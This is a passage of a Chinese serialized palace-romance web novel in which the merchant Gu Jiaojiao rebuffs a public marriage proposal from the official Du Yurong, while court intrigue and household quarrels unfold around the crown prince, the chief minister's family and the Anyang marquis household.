“这匹料子,我要了,就按着这个样子,给我做一套衣衫。” 一妇人站在霓裳阁里,挑来挑去却挑中了一款别人看中的料子。 “不好意思夫人,这料子刚刚那位小姐已经买下了,只此一匹,您再看看其他的,您看这边,这些料子是新到的,您……” “我就要这匹。” 那夫人毫不客气的打断了顾皎皎的话,高昂着头,一副不可一世的模样,瞟了一眼身侧的女子后,才又说道。 “你怎么不让她换?” 此妇人说的理直气壮,让在场的人都不禁愣了一下。 “夫人,是那姑娘先看中的,且已经交了银钱。” 顾皎皎最先反应过来,耐着性子解释着,但显然有些无用。 “我可以加钱。” 妇人此话一出,旁边的人都有些看不下去了,买下那料子的小姐也走上前来。 “就城之中遍地黄金,只有一人有钱不成?何况先来后到的道理你能不知?不知是哪个府邸的妇人,这般没有规矩。” 那妇人被教育一番,周围还有不少人帮腔,瞬间脸面上有些挂不住,便将气撒到了顾皎皎身上。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百七十九章 正妻之位 “你是怎么做生意的?一匹料子竟然还能让客人抢,你这霓裳阁若是不能开,趁早关门算了。” 那妇人在店里吵闹起来,哪怕周围的人对她厌恶至极,却也不想招惹上这种泼妇,都躲的远远的。 顾皎皎倒是早就习惯了,毕竟她做生意这么多年,什么样的客人也都见过。 “是,您说的,我们霓裳阁最初做的就是独一无二,不过您若是真喜欢这匹料子,我也可命他们尽快给您赶制一匹,您看可以吗?” “凭什么?凭什么我要等?我凭什么要与其他人穿一样的衣服?你什么意思?这样就想打发我是吗?” “自然不是,我也是见夫人您真心喜欢我们的衣料和样式,我们自然维护住您这样的顾客,不如我再给您挑些精致的料子,半价给您,您莫要生气,可好?” 顾皎皎耐着性子,也是不想让此人影响到其他人,可谁知此妇却觉得顾皎皎是怕她,更加蹬鼻子上脸。 “哟,听你这意思,是觉得我买不起你家料子,你不会以为你这霓裳阁多高贵呢吧?当掌柜的靠卖弄风骚攀附权贵,做出来的东西能是什么好货色?” 这妇人高昂着头,眉目间都是鄙夷。 莺儿立即欲上前,却被顾皎皎拦住。 “怎么?你一个贱婢还想替她出头?你家姑娘从前勾引小云南王,小云南王成为了太子,见不到了,就又勾引杜府的公子,果然是商户之女,生来下贱。” 这妇人越来越放肆,顾皎皎也不打算再忍让。 “这位夫人,请你说话注意些,我开门做生意迎的是客人,你若是不想买可以出去。” 她下了逐客令,可那妇人却根本没有离开的打算。 “我偏不走,我就要让大家都知道你是什么货色,还想攀附杜大人,你了解过人家吗?那可是书香世家,文官清流,能要你这种二手货?别说是做妾,就是个通房你都不配。” 这妇人说着这些的时候,周围的人也会将异样的目光投向顾皎皎。 自京城流言四起时,全城的人都听说太子帮助顾皎皎之事,后因为杜玉荣处处帮她说话,那些流言才渐渐散去。 却不想,到如今就连杜玉荣也会被牵连。 “她说的不会是真的吧?” “这种事有什么真的假的,这位顾掌柜长相标致,整个京城里也挑不出来几个这般美的,男子为其动心也是正常。” “那杜大人年少有为,又血气方刚,真是被她勾住也在所难免。” …… 这些议论声不大,可毕竟都在这殿内,也可让人听到。 顾皎皎咬紧牙关,此时的她不能退缩,若是退了便是默认,她倒是无所谓,可杜玉荣呢? 但还未等顾皎皎开口,门外就走进来一人,吸引了所有人的目光。 说曹操曹操到。 “夫人的夫君乃是肩部的一个文书,你夫君平时少言,为人和善,却不想夫人却是个厉害的,这番话说出来,让杜某听了汗颜。” 杜玉荣迈着四方步而来,一只手背在身后,另一只手则放在身前,步步生风,进来后,便直接挡在顾皎皎门前。 那妇人万万没想到会在这里遇到杜玉荣,说起来,她也只跟杜玉荣见过一面,却不想他的记性倒是极好。 “杜大人说笑了,我……” “是夫人说笑了,顾姑娘绝非轻浮之人,是在下对顾姑娘倾慕已久,屡次维护,是因为不想不忍看她被误解,被伤害。” 杜玉荣说这些的时候,周围的人都不禁倒吸了一口凉气,出于本能的觉得杜玉荣是疯了。 顾皎皎也怔住,她深知杜玉荣所说的这些话,会带来什么严重的后果。 “杜大人家世清白,百年世家,又怎会对一个商女有情,莫不是……” 那妇人没有说下去,但明显是想表明,是顾皎皎有意狐媚勾引。 “商女又如何?和离又有何妨?在杜某心中,顾姑娘便是这世间最清白的姑娘,高贵无比,胜过许多大家闺秀。” 杜玉荣说的无比坚定,清澈的眸子里满是柔情,他看着顾皎皎,丝毫不掩饰自己的心意,他的笑里,也释放着他一直压抑着的情感。 顾皎皎终于回过神来,忙行礼欠身。 “杜大人,民女……” “只要顾姑娘愿意,我杜玉荣可八抬大轿,明媒正娶迎她入府,正妻之位,且我身侧只她一个女子。” 杜玉荣没有给顾皎皎说话的机会,转身面对着众人,也看着那个妇人。 “夫人可还有话说?” 现下,不只是那妇人,就连其他的人也都找了理由散去。 这偌大的霓裳阁瞬间安静下来,针落可闻,空气里也弥漫着尴尬的气息。 “抱歉啊,把你的客人都吓跑了。” 杜玉荣转过身的时候,笑的坦然,眼底的柔情未散,也渐渐袭上一抹心疼。 他是后悔的,后悔没有早点表明心意,不然顾皎皎就不会成为众矢之的,让别人指指点点。 他也是庆幸的,庆幸他终于鼓起勇气将心底的话说出来。 只是,这对顾皎皎来说确实犹如晴天霹雳。 顾皎皎脸上的神情已然不自然了,却还要强撑着。 “杜大人心善,可即使是为了帮我,也不必编出这样的理由,怕是会污了大人的名声。” 她微低着头,无法直视杜玉荣的眼睛,想出这样的理由,也自是想给彼此一个台阶。 杜玉荣看着她,可以看出她的为难之处,却也想趁着这个机会将心意表明。 “顾姑娘,杜某刚刚所言,皆出自真心,自然了,有些突兀,姑娘一时接受不了也是正常。” 杜玉荣的语气温和,善解人意,高大挺拔的身躯可以将顾皎皎笼罩。 他确实给了她许多帮助,也给予她很多安全感,但这与男女之情无关。 “杜大人抬爱了,只是,只是我未有再次婚配之心。” 顾皎皎有些语无伦次,也不等杜玉荣说什么,她便再次开口。 “时候不早了,我还要去第一楼,照顾不周,还望杜大人见谅。” 说完,她便头也不抬的小跑出门,手里还拿着一截布料。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十章 还真是有趣 冬已至。 夜里的寒风肆意的刮着,阴沉的天气,空中无月无星,使这个夜晚更显黑暗。 顾皎皎将窗子关上才觉得温暖一些,面前的火炉里是已经烧红了的炭,她将手微微探过去,一股温暖袭来,才使她渐渐冷静下来。 自听到杜玉荣说那些话,她整个人都晃晃恍恍,也是许久了没有这样心慌的感觉。 莺儿蹲在地上,又加了几个炭进去,抬头看着顾皎皎。 “奴婢觉得杜大人很好,至少比太子殿下要好,姑娘每次遇到危难,杜大人都出手相帮,他……” “莺儿。” 顾皎皎抬眼,打断了她的话。 若是以往,莺儿定然会闭嘴,可这涉及到她家姑娘的未来,她还是想表达自己心中的想法。 她站起身,站到顾皎皎身侧。 “老爷当年将姑娘交给我照顾,我自是要为姑娘负责的,杜大人人品贵重,光明磊落,又对姑娘情深义重,将来若是在一起了,他也定然不会像孙三那般对姑娘。” 莺儿好似是将以后的事都考虑清楚了。 顾皎皎轻叹了一口气,脸上却依旧是无奈的神情。 “莺儿,这是不可能的,你不要胡思乱想了。” “为何不可能?是怕家世不匹配吗?还是怕那赵姑娘来找麻烦?可是杜大人会护着你的,你不用怕,或者是名声?杜大人说了,他并不介意。” 莺儿希望顾皎皎有人护着,有人疼着,便也觉得杜玉荣是最好的人选。 “我对杜大人无男女之情,并不是相互爱慕的两个人在一起,只会徒增烦恼。” 顾皎皎很坚定。 “可是感情不是可以慢慢培养的吗?这世间大多夫妻在万婚前不都是没见过面,不了解的吗?也有许多白头偕老。” 莺儿觉得杜玉荣实在是一个不可多得的夫婿,这世间男子千千万,能遇良人自是不易,她不想顾皎皎错过。 只是,莺儿这番话让顾皎皎觉得悲凉。 她缓缓站起身,围着火炉缓慢踱步。 “是啊,天下夫妻大多如此,那不是因为夫妻和顺,而是有人在隐忍,而这隐忍的,大多也都是女子。” 男子在外建功立业也罢,维持生计也好,都似是主导者,女子深居内宅,或争或斗最后落得的也不过是一个或贤良或刻薄的名声。 这也便罢了,最重要的是即使是费尽心力也未必得善终。 “莺儿,我与孙协兆便是最好的例子,相看两厌,最后成敌,杜大人霁月清风,虽不会如孙三一般,但境况不同,我不能因为他的身份地位步入杜府,也不想再走回头路。” 顾皎皎的声音悠悠的,让人觉得听上去很遥远。 她感慨着自己的过往,也清楚自己要走的路,只是,莺儿接下来的问题,竟让她一时失神。 “若今日说这番话的是太子,姑娘也会这般决绝吗?” 顾皎皎的手不自觉的收紧,手中的手帕都被她握成一团,那张好看的脸上,有落寞一闪而过。 “胡说什么?我现在很好,日后我也并不打算再成亲,我现在想的只是将顾家的生意做大,这样等你有心上人之时,我便可给你封一份厚厚的嫁妆。” 她侧目,跟莺儿开起了玩笑。 莺儿小脸儿一红,瞬间噘起了嘴。 “姑娘不知羞,最爱胡说了,不理你了。” 莺儿转身跑了出去。 顾皎皎看着她的身影,脸上的笑容也渐渐的散去,她未直接回答莺儿的问题,是因为她也不知道。 没错,不是坚定的拒绝,而是不知道。 皇宫。 沈云祉亲自喂了皇上药后,走出寝殿。 宫里的夜更显冷清,偶尔有宫人经过,也只是请个安便立即离开。 沈云祉有太子身份,但却并未接管朝政事务,这宫里的人表面上对他敬着,怕着,内里也有观望的态度。 他走在长廊之上,周围是明亮的火把,将眼前的一切照的如白昼一般,只是宫墙深深,依旧让人觉得沉闷。 他停下脚步,抬头看着这四角四方的天,却无一丝亮光。 沈云祉并非是多愁善感之人,只是此时此刻,他却想出宫讨杯酒喝。 “殿下。” 双瑞的声音从他身扣响起。 沈云祉转头,接下双瑞递过来的一份名册。 “这是杜公子命人送入宫中的,这里面记录了一些大臣对殿下成为太子的想法,还有一些武将,杜公子说他接触不到,但会再想办法。” 双瑞汇报着。 沈云祉看着那份名单,支持的,反对的,以及保持中立的,跟他想的差不多,可见杜玉荣是用了心的。 “这也难怪,京中武将多与平王关系匪浅,玉荣也很难接近他们,让双剑告诉玉荣,其他的不必探查了,我心中有数。” 沈云祉将名册合上,漆黑的眸子流露出坚定的光芒。 “是,属下这便传信出去。” 双瑞应着,但却没走,站在原地一副欲言又止的模样。 “怎么?还有事?” 沈云祉是可以猜得到。 “是,双剑送入宫中的消息还有关于顾姑娘的,近来京城之中流言少了许多,但杜公子几乎日日出现在顾姑姑的铺子里。” 然后,就没有然后了,双剑的消息里只是这些。 双瑞不明白,人家顾姑娘做生意,杜大人帮忙,这有什么可报给殿下的?也正因为如此,他才不知道要不要将这消息说给沈云祉听。 “日日?” 沈云祉挑了挑眉毛,加重了这两个字,但从表面上看,他的神色没有其他变化。 “是,双剑是这样说的。” 双瑞无不确定的说道。 沈云祉侧了侧身,双手背在身后,薄唇处袭上一抹若有若无的笑意。 “还真是有趣。” 有趣? 双瑞不解,但沈云祉只摆了摆手示意他退上,他只能先离开。 沈云祉还是在廊下站了许久,他的身侧无人,也没有人知道他在想什么,直到过了许久,好下人来提醒他时辰不早,他才返回寝殿。 他也不曾想过,有朝一日,竟会被困在这皇宫,人人向往的宫城,终将会变成禁锢。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十一章 不会变心 第一楼。 顾皎皎昨晚没有睡好,今日只查了账,便在阁楼处歇息,迷迷糊糊间被人轻轻摇醒。 她缓缓睁开眼,看到莺儿就站在她身边。 “楼下出事了?” 顾皎皎知道,她在休息时,若不是有急事,莺儿是不会叫她的。 “算是吧……杜大人来了。” 莺儿面露难色,语气也显得有些迟疑,毕竟,对于杜玉荣的态度,顾皎皎已经说的很明白了。 顾皎皎本想起身,便又躺了下去,侧了侧身体。 “只说我不在。” 见到杜玉荣难免会尴尬,她不如躲懒。 “姑娘,晚了,杜大人说,给你带了东西,必然是要见到你的。” 莺儿自也是想了一些搪塞理由的,却没有哄骗住杜玉荣,此时,这位公子已经坐在二楼的雅间里了,还点了一些吃食,说是慢慢等。 顾皎皎皱了皱眉,还是从床榻之上起身,抬手轻点了下莺儿的额头。 “笨蛋,一点小事都做不好。” 她并未责怪,只是还要打起精神去应对一番。 顾皎皎踏入这个房间时,桌上已经上好美味佳肴,杜玉荣坐在桌前,神色平静,抬眼看着她进来,眼底不自觉的袭上一抹温柔。 “让杜大人久等了。” 顾皎皎欠身行礼,即使是有昨日发生的事,她还是保持着礼数与疏离。 杜玉荣并未放在心上,伸出手。 “是我打扰了姑娘,姑娘请坐。” 他可以看出她眼角的疲惫,想来是近来忙碌,又忧心流言之故。 “不知杜大人前来,所谓何事?” 顾皎皎只平静的问着,浅笑挂在脸庞,维持着表面的平静,看上去好似之前什么都没有发生过一样。 “这个,送你。” 杜玉荣将一个长长的盒子推到顾皎皎面前,语气温和。 顾皎皎疑惑,还是抬手轻打开了那个盒子,一条山参静静的躺在盒子里。 她对药材并不算精通,可也能一眼看出这山参极为名贵难得,想来年岁很久了。 “杜大人,这太贵重了,我不能收。” “并不贵重,这山参在府中放了许久,见你近来神色不好,拿来给你补身。” 杜玉荣没有任何犹豫的说道。 顾皎皎想要说什么,杜玉荣便又立即开口。 “只是单纯的觉得你需要,与其他无关。” 杜玉荣笑的温和,眼中含着的笑意也充满宠溺。 他的话让顾皎皎无法拒绝,再推辞,倒显得她有别的心思。 “多谢杜大人。” “顾姑娘莫要如此生分,在下所言所行皆出自真心,自然,我并不会以身份相压,望姑娘放心。” 他总是会给人了温暖的感觉,言谈举止更会让人觉得完美无瑕,也会让人觉得安心。 “杜大人言重了,大人屡次相帮,我心存感激,望日后有机会可以报答。” 顾皎皎也是出自真心,只是听到这话的杜玉荣唇角动了动,转而恢复如常。 他从未以恩情要挟她,而她的客套礼貌,似乎也只是因为恩情。 “时辰不早了,我还要入宫见太子,告辞。” 杜玉荣起身离开。 顾皎皎送杜玉荣下楼,二人并肩而行,也被一些人看到。 于外人而言,杜玉荣屡次护着顾皎皎,又当众说过那样的话,如今二人有说有笑,似是已然透露出了什么。 顾皎皎也注意到在家的异样,便停下脚步。 “后面还有些事,就不送大人,大人慢走。” 她微微欠身,礼数周全。 杜玉荣知她的顾虑与心思,点头后大步离开。 顾皎皎在心底暗暗沉了一口气,也不得不考虑要如何跟杜玉荣说清楚。 男女之事,向来是人们茶余饭后的谈资,而顾皎皎这个名字,如今在京城也是广为流传。 “不是说,这女子攀附权贵,勾引太子吗?怎么又牵扯到杜玉荣了?” “那位杜小爷性情寡淡,拒人于千里,多次出面维护顾皎皎,可见啊,情根深种。” “可是那女子可是个弃妇,又是商户之女,这等身份杜小爷不嫌弃?他家里也同意?” “人家杜大人当众说过了,只要那顾皎皎同意,他可八抬大轿,明媒正娶,且不纳妾。” …… 这些言论的坏处是,再次将顾皎皎推到了风口浪尖之上,好处是,不再有人将顾皎皎与狐媚勾引等词联系到一起。 这些议论散布在京城各地,也落到赵蕴苎的耳朵里。 “什么?你没有听错?真是荣哥哥亲口说的?” 闺房之中,赵蕴苎愤然起身,盯着自己眼前的侍女,不可置信的问道。 思荣一脸急切,将自己刚才所说的话又说了一遍。 “奴婢听的真真的,当日有许多夫人小姐都在霓裳阁,杜公子说这话的时候,她们都听到了,杜公子还说,他愿迎娶顾皎皎为正妻,再无旁人,如今京中都传遍了。” “不可能。” 赵蕴苎听不得这样的话,娇俏的脸上满是气愤与不甘。 “不可能的,我与荣哥哥青梅竹马,两小无猜,他日后要娶的人一定是我,而且,而且这些年我们相处很好,他不会变心的。” 变心这个词赵蕴苎说的无比顺畅。 可是,所有人都知道,杜玉荣从未对她表示过好感,偶有接触,也是因为首辅的缘故。 “姑娘莫要生气,想来,想来是杜公子一时被那顾皎皎迷了心窍,过些时日便会好的。” 思荣不知该如何劝说她家姑娘,这样的理由,怕是也不会有人信。 赵蕴苎轻咬着嘴唇,在屋子里急的直转圈,再听到顾皎皎的名字,心里便更气了。 “顾皎皎,都是这个贱人,自从她出现之后,荣哥哥就像变了一个人一样。” 其实杜玉荣从未变,至少对赵蕴苎从未变过,冷淡疏离,从小便认识,却也从未与她多说过半句。 所谓的改变,也只是杜玉荣对顾皎皎一人与众不同而已。 “是啊,姑娘不要着急,奴婢这就派人去找那顾皎皎,好好教训她一番。” “不必,本姑娘亲自去。” 赵蕴苎微昂起头,目光坚定,一副要好好找顾皎皎算账的模样。 只是,她的一只脚刚踏出门口,便被来人挡了回来。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十二章 静思己过 “去哪里?” 威严的声音响起,随着首辅踏进屋内,赵蕴苎也不禁缩回身子,后退几步。 “祖父安好。” 赵蕴苎行了个礼,低着头侧身站到一旁。 这位天不怕地不怕的千金小姐,唯独怕她的祖父。 赵家子嗣并不繁盛,虽唯有赵蕴苎一女,却也是集万千宠爱于一身,所以在整个京城中,她有才女之名,也有嚣张跋扈之名,无人敢惹。 若说唯一能管得了她的,便只有这位首辅大人了。 “我问你呢,这气冲冲的准备去哪儿?” 首辅坐下,抬起眼帘再次问了一遍。 赵蕴苎是不敢说实话的。 “回祖父,孙女在府中待的无趣,想出去逛逛。” “是想出去逛逛,还是想去找人麻烦?” 首辅毫不客气的说道。 “自然不是,孙女只是,只是……” “你当你这些时日在外胡闹我不知情?一个商户之女,也引得你如此在意,伤了首辅府的颜面,也伤了你自己的颜面。” 首辅大人是没什么不知道的,于朝政之事上,尚且可以洞若观火,何况是他疼爱的孙女了? 赵蕴苎走过来,上前轻拉起首辅的袖子,轻轻摇晃。 “祖父就帮帮我吧,我是极其讨厌那女子的,不如祖父下令让她滚出京城,可好?” “胡闹。” 首辅语气虽是严厉了一些,但却并未拂开赵蕴苎的手。 “苎儿,平时你胡闹些也就算了,如今情况不同,也该收收心了。” “祖父何意?您刚刚不也说了,那女子只是一商户之女,难不成我们还要怕她不成?” “你是为了那女子吗?你是为了杜玉荣,老夫虽然上了年岁,可是还没瞎,但今日也明告诉你,你与杜玉荣无缘。” 首辅大人的话让赵蕴苎更为了不满。 “为何?我与荣哥哥从小一起长大,他又是您最得意的学生,在朝堂上您也提拔他,为何说我们无缘?” 是啊,首辅是极为看重杜玉荣的,年轻学子中,他也是绝对是翘楚,可是,首辅的提拔,仅是为了门生。 “因为,你与太子殿下的亲事已定。” 首辅看着赵蕴苎,看着她震惊之余,眼角落下两行泪,身为祖父,他心疼不已。 “若是没有朝堂变动,祖父也愿意让你挑选自己喜欢的儿郎,只是如今不可了。” 他又补了一句。 赵蕴苎却在此扑通一声跪了下来。 “祖父,就没有别的办法了吗?我不想嫁与太子,我只想跟荣哥哥在一起。” 赵蕴苎跋扈是真,对杜玉荣的感情也是真。 首辅将她从地上拉起,扶着她在自己的身边坐下。 “皇室变动,我家后嗣无力,你母亲又是平王同胞妹妹,太子与平王结怨已久,如若我们再不靠近太子,首辅府危矣。” 首辅历任两朝,从未结党,更未扶持过谁,但是这一次,他却站到了太子身边,正是因为他意识到自己已然老迈,他这若大的首辅府也无后力,只怕将来会为人鱼肉。 赵蕴苎眼中含着泪,轻咬着红唇,强忍着不让自己哭出声。 “祖父,就真的忍心搭上孙女的一生吗?” 她轻声抽泣着,眼中是不甘,也是无奈。 “你爱慕杜玉荣,但他对你并无情谊,这样的一生你舍弃又何妨?” 赵蕴苎还想再说些什么,却被首辅大人摆手拦住。 “苎儿,你自幼备受宠爱,家族兴旺也该由你来承担,你与太子定下亲事,日后便是皇后,祖父保你登后位,而你也以你一己之身保赵家全族。” 首辅大人起身,但走到门口处又停下脚步。 “这些年你向来任性,祖父都容着你,但从今日起你便留在府中,静思己过,莫要出门了。” 赵蕴苎瘫坐在地上,悲伤袭来,终是忍不住放声大哭。 思荣陪在她身边,此时也是无可奈何。 这桩婚事并未外传,毕竟皇上未醒,任何喜事都是对皇上的冲撞。 顾皎皎抽个个时间,去查了沈云祉的铺子,之前查出来的那二人早已经被沈云祉处置了,如今贴上清明,也不会有人敢动手脚。 只是近来醉月楼颇为热闹。 白日里,醉月楼人少,也显得肃静一些,顾皎皎找了一间安静的房间,查看着那些帐薄。 媚姨一会儿送来些水果,一会儿端来茶水,就连糕点都是亲自送过来。 她灾一趟一趟的,让顾皎皎不禁抬头,定定的看着这位浓妆艳抹,风韵犹存的女子。 “媚姨,你暗中贪钱了?” 顾皎皎开口,媚姨瞬间瞪大了双眼,双手匆忙的摆着。 “姑娘,这话可不敢乱说,我,我在这醉月楼多年,从未拿过这楼里一两银子,是账上出什么问题了,还是……” 哈哈。 看着媚姨急切解释的模样,顾皎皎忍不住笑出声。 媚姨怔了一下,才马上反应过来。 “姑娘,你又逗我。” “媚姨,是您这一趟趟的进来出去,不知道的还以为您心虚呢。” 顾皎皎确实是在开玩笑,要说沈云祉手下的产业,最得信任的应该就是媚姨了,因为过去的事,她也不会背叛沈云祉。 媚姨松了一口气,直接坐了下来。 “前几次你来,我都忙着,今日清闲就想我自己过来照顾你,免得那些下人出什么岔子。” 自上次上过公堂之后,媚姨对顾皎皎喜爱的不得了,也感激的不得了,她身处这风月场所,什么样的女子没有见过,有骨气的,软弱的,明媚的,阴险的等等,可从未有一个女子像顾皎皎这般让她钦佩的。 “媚姨,我身边有莺儿呢,不用照顾。” 顾皎皎依旧低头看着账本。 “那怎么行?姑娘身边的丫头也是尊贵的,怎可做这端茶递水之事?” 媚姨正说着时,顾皎皎也微微皱起眉头。 她翻看着近几日的帐目,思索片刻,才抬起头看向媚姨。 “近来醉月楼是有变动,所为何事?” 顾皎皎看着这帐目,也核对了入库的银两,数目都对,但与之前相比却有了很大的出入。 媚姨震惊之余,也缓缓点头。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十三章 不必管他们 “姑娘真是心细如发,太子殿下将这些产业交给你,真是没有错。” 媚姨笑的灿烂,忍不住的称赞顾皎皎。 可这些于顾皎皎而言并不难。 “之前醉月楼每日收入约五万两,但是客人的数量基本上没什么大的变动,但近五日来,每日的客人是之前的两倍不止,但收入却少了一半,这应该不是巧合吧?” 接连五日都是如此,于做生意而言的顾皎皎来说,这可谓算是大事了。 媚姨没有直接回答顾皎皎的问题,而是起身走到门口处,拉开门看看外面是否有人,在确定周围都没有任何异常后,才返回到顾皎皎身边。 “是殿下的意思。” 沈云祉欲调查朝中大臣的想法,虽然之前也派了杜玉荣,可杜玉荣乃是文臣,终究有限,沈云祉便想了个法子,让醉月楼放出风去,说只要是朝中武将官员来楼里,皆无需花费银钱。 时间久了,醉月楼里的人多了,但能入账的银钱却没有多少。 沈云祉。 这个名字落在顾皎皎的耳朵里,也落在她心上。 如她所料,沈云祉为达目的,也会无所不用其极,这个办法虽然听着有些俗气,可是却极为管用。 朝中武官入楼,难免会碰面,既然见到了也避免不了谈些朝堂之事,这些消息与想法,便也就能传到沈云祉那里。 “此等大事,媚姨日后可不与我说,只说账目便好,我日后跟太子殿下核对就是。” 顾皎皎微低着头,眼底有异样的情绪闪过,没有让其他人发现。 “太子殿下也交代过,如果姑娘对账目没有起疑,就不必说,如果姑娘问了,便如实相告。” 媚姨压低了声音,目光坚定。 顾皎皎的手微微顿了顿,扯出一抹不太自然的笑。 沈云祉竟如此信她,朝中大事竟也没想过要瞒她? “他真是……人在宫城之中,外面的事得可安排的如此妥当。” 她的声音显得有些低沉,就算她知道沈云祉所做这些,都是为了爬上更高的位置,可还是会因为他的信任而从心底里喜悦。 “是啊,太子殿下动艰难,听闻前不久在宫中还有人对殿下下药,若不是云南王在宫里,带着人庇护一二,怕是……” “什么?下药?什么时候的事?是毒药?” 顾皎皎惊呼出声,抬手便抓住了媚姨的手腕。 媚姨吓了一跳,抬眼时更被顾皎皎眼中的惊慌吓到。 “不不,没事了,不是毒药,是那些人起了肮脏的心思,欲往殿下身边塞人。” 塞人,塞的自然是女子。 在媚姨疑惑的注视下,顾皎皎才缓缓回过神,又尴尬的扯了扯嘴角。 “哦,原来,原来是这样,我只是,只是不曾听闻这样的事,有些意外。” 她找了一个听上去并不太合理的理由,好在媚姨并未多想。 “姑娘是女儿家,见的少被吓到也正常,但殿下是征战沙场之人,刀光剑影里过来的,这点小事无妨。” 媚姨笑了笑,迟疑了一下后,又接着说了下去。 “其实,前些时日有关姑娘的传言我也听说了,按理说散播消息这样的事醉月楼更为专业一些,只是我们这身份,若是被人知道,只怕会让姑娘的处境更为雪上加霜,所以……” “我明白,媚姨不必自责,也不过是些流言,不用放在心上。” 顾皎皎这样答着,心里想的还是沈云祉的处境。 人们都说皇宫威严,防护严密,可是沈云祉身在那里,却还是会被人算计,甚至伤害,想来,大抵还不如在云南时吧? 顾皎皎很想去趟驿站,找双剑详细问问,但最终她忍下了。 她只是沈云祉雇佣的照看生意的人罢了,对于他的私事,他的国事,她都没有资格干涉。 回去的路上,莺儿说了王吉在外带来的消息,有关安阳候府的。 “孙老夫人拿着平王妃的令,日日教徐青青规矩,徐青青自是不愿,找那孙三日日哭闹,可奇怪的是这次孙三竟然没有帮着徐青青,任由孙老夫人在府中立规矩。” 莺儿只要听到安阳候府乱作一团的事,就会掩饰不住开心。 顾皎皎倚靠在马车上,轻闭着双眼,脸上挂着淡淡的笑。 “我不是说,不用关注安阳候府的事了吗?” “这可不是我吩咐下去的,王吉要掌握平王的动向,便查到孙协兆去过平王府,那安阳候府的事,自然就知道了。” “孙协兆去找平王求情了?” “是,不过被平王训斥了一番,如今,这孙三还是每日清晨站在府外诵读道德经。” 听着这些,顾皎皎也没有觉得意外,她对安阳候府的事以及人都已经不在乎了,听着就如听陌生人的事一样。 “不必管他们。” 她低声开口。 莺儿应下,虽然没再说,但想到那间候府里的热闹,她还是打心眼里高兴。 安阳候府。 徐青青拖着疲惫的身子回到自己的院子,已经两日,她未在自己的院中看到孙协兆的身影。 “少爷呢?” 徐青青今日的手臂上又多了两条藤条的痕迹,向屋内的下人询问时,她脸上的痛苦的表情还未收起。 “回夫人,少爷一直在书房,还未回来。” 还未,是指孙协兆在这期间并未来过她的院子。 这整座府里都知道徐青青日日都会去老夫人房里听训,藤条、板子都是常有的事,孙协兆虽不能违逆孙老夫人,可是前几日他都会等在徐青青的院子里,安慰她,帮她上药。 “书房?他一直在书房。” 徐青青冷哼出声,坐下来时,不小心碰到了伤口,不禁‘嘶’了一声。 青儿立即上前,想帮她处理伤口,却被她一手打开。 “滚开,去,把少爷请过来。” 徐青青怒吼出声。 青儿似是早就习惯了她这般模样,也未意外,微躬着身子后退两步。 “是,奴婢这便去。” 此时,孙协兆还在书房里,却并不是用功,而是躺在软榻之上,闭目养神。 如今他名声尽毁,就连昔日的好友也躲着他,他更不想参与府中的麻烦事,便在这里躲懒。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百八十四章 当真不怕 徐青青的侍女被拦在门外,外面的人告诉他,公子在诗书,不可打扰。 这样的说辞,青儿是没办法回去交差的,她便只能在门口开口。 “少爷,夫人疼痛难忍,又伤心不肯请郎中,还请少爷劝劝夫人吧。” 青儿跟在徐青青的身边不短了,有些巧心思也早就入会贯通。 这样的话连喊了两遍,书房的门才被打开。 “怎么还伤的重了?” 孙协兆俯视着青儿,神色却并未有什么变化。 “回公子,今日夫人疲倦,不慎打碎了一只茶盏,老夫人赏了藤条。” 青儿话音落下之时,孙协兆就慌忙的向徐青青的院子快步走去。 “母亲也是,即使是有王妃的令,装装样子也就是了,怎么还动了藤条,还有你,为何不早早来报?” “公子,是夫人不让来报,说是怕打扰您,也自是不想您为难的。” 徐青青没有教青儿,但青儿说这些说辞时,信手拈来。 孙协兆赶到徐青青的内室时,徐青青正斜卧在床榻之上,脸色微白,头发凌乱,遮挡住她半张脸,却也清晰可见她脸上的泪痕。 “青青,是我来晚了。” 孙协兆是真的心疼,忙跑过去坐在床榻边,轻轻拉起徐青青。 “夫君来了。” 徐青青一下扑到孙协兆的怀中,声音虚弱哽咽,似是压抑着自己的情绪。 “来,让我看看,伤到哪里了?疼不疼?” 孙协兆忙要查看她的伤,徐青青装模作样的躲了几下,却还是被了孙协兆将袖子拉开。 鲜红的藤条印迹,向外渗着丝丝血迹,中间严重之处,甚至都可以看到皮肉外翻。 “这……母亲怎可下手这般狠?” 孙协兆自是觉得触目惊心,虽比夹棍之刑轻了许多,可这到底是在家里,处置也太重些。 徐青青长长的睫毛上都挂着晶莹的泪珠,努力在笑,却更显让人心疼。 “母亲一向不喜欢我,借此机会教训也是名正言顺,青青不疼的。” 她楚楚可怜,又让孙协兆觉得善解人意,可只有徐青青的贴微侍女青儿知道,从老太太房里出来的时候,那些伤可没有这般重。 “你这般好,是母亲苛刻了,你放心我稍后就去找母亲,现下,我们先上药如何?” 孙协兆不喜参与内宅之事,嫌麻烦,可现下对徐青青的心疼,他便也要争论一番。 “好,听夫君的。” 徐青青仰着脸,娇美妖娆,听话乖巧的模样已然让孙协兆忘记了,她是如何被罚的。 不一会儿,孙协兆就出现在了孙老夫人的房中。 孙协兆怪老夫人太过苛责,对徐青青下手太狠,还说老太太根本不是教规矩,只是借着教规矩,而故意给徐青青罪受。 孙老夫人自然听不得他这番话,她确实是教训了徐青青,可就那不痛不痒的几下,也能说到过分二字? “你跑到我这里吼什么?我之前说过了,教规矩是平王妃……” “母亲莫要再拿平王妃说事,平王妃虽然有令,可我们这是自己家里,她又没有派人盯着,母亲何必赶尽杀绝?何况,您莫不是忘了,我们现在所用的银钱,可都是青青带来的。” 这安阳候府已经闹了有一段时日,孙协兆已是烦了。 孙老夫人立即起身,快几步走到孙协兆面前。 “你这是什么意思?难不成她还要像顾皎皎一样跟我们算账吗?” 没有钱是万万不能的,也是孙老夫人害怕之处。 孙协兆轻叹了口气,而后摇了摇头。 “青青自然不是顾皎皎那种人,可任谁能受得了在自家日日被人折磨?母亲当真不怕?” 孙协兆这话错了,曾经的顾皎皎就可以忍受,这一忍便是两年。 只是,此时的孙家母子,似乎早就忘记了。 孙老夫人自有怒火,但还是思索着坐回了原来的位置。 